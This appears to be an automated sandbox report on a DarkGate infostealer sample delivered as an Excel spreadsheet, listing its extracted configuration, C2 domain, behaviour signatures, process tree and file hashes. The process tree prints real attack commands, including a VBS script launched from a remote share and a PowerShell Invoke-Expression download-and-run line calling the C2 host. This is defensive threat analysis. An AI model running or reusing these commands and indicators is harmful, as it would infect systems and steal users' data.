Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/02/2024, 15:50

General

  • Target
    scan-28-02-24_3136.xlsx
  • Size 29KB
  • Sample240228-s94bhsfd8y
  • SHA256 abadc5f79d85d395c7760c93d635c885f4ea7cdf872986332c650ffbf2ad9984
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • cayennesxque.boo

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    HwHLLNLY

  • minimum_disk

    50

  • minimum_ram

    7000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\scan-28-02-24_3136.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3448
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/jzpdvxcn')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4148
        • C:\temp\AutoIt3.exe
          "C:\temp\AutoIt3.exe" script.a3x
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:3732

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        __PSScriptPolicyTest_uv3hfegl.qk0.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uv3hfegl.qk0.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        AutoIt3.exe

        • Path C:\temp\AutoIt3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        script.a3x

        • Path C:\temp\script.a3x
        • Size 472KB
        • SHA256 a08fc871fc74e01e2d877a4ba7aefc4951363d3b31fa5f6df4c03a33734107a6
        • MD5 SHA1 SHA512 SSDEEP

        test.txt

        • Path C:\temp\test.txt
        • Size 76B
        • SHA256 0de3c9bae4138c45d98519686256df51f4f5724ff3483552fcb873403415c812
        • MD5 SHA1 SHA512

        memory/3448-15-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-27-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-6-0x00007FF85A870000-0x00007FF85A880000-memory.dmp

        memory/3448-7-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-8-0x00007FF85A870000-0x00007FF85A880000-memory.dmp

        memory/3448-9-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-10-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-11-0x00007FF8587C0000-0x00007FF8587D0000-memory.dmp

        memory/3448-12-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-13-0x00007FF8587C0000-0x00007FF8587D0000-memory.dmp

        memory/3448-14-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-16-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-0-0x00007FF85A870000-0x00007FF85A880000-memory.dmp

        memory/3448-17-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-26-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-3-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-5-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-2-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp

        memory/3448-1-0x00007FF85A870000-0x00007FF85A880000-memory.dmp

        memory/3448-4-0x00007FF85A870000-0x00007FF85A880000-memory.dmp

        memory/3732-62-0x0000000004350000-0x0000000005320000-memory.dmp

        memory/3732-63-0x0000000005840000-0x0000000005B8F000-memory.dmp

        memory/3732-65-0x0000000005840000-0x0000000005B8F000-memory.dmp

        memory/4148-39-0x0000017D03BE0000-0x0000017D03BF0000-memory.dmp

        memory/4148-41-0x0000017D1C390000-0x0000017D1C552000-memory.dmp

        memory/4148-40-0x0000017D03BE0000-0x0000017D03BF0000-memory.dmp

        memory/4148-54-0x0000017D03BE0000-0x0000017D03BF0000-memory.dmp

        memory/4148-55-0x0000017D03BE0000-0x0000017D03BF0000-memory.dmp

        memory/4148-38-0x00007FF871F60000-0x00007FF872A21000-memory.dmp

        memory/4148-37-0x0000017D03BB0000-0x0000017D03BD2000-memory.dmp

        memory/4148-59-0x00007FF871F60000-0x00007FF872A21000-memory.dmp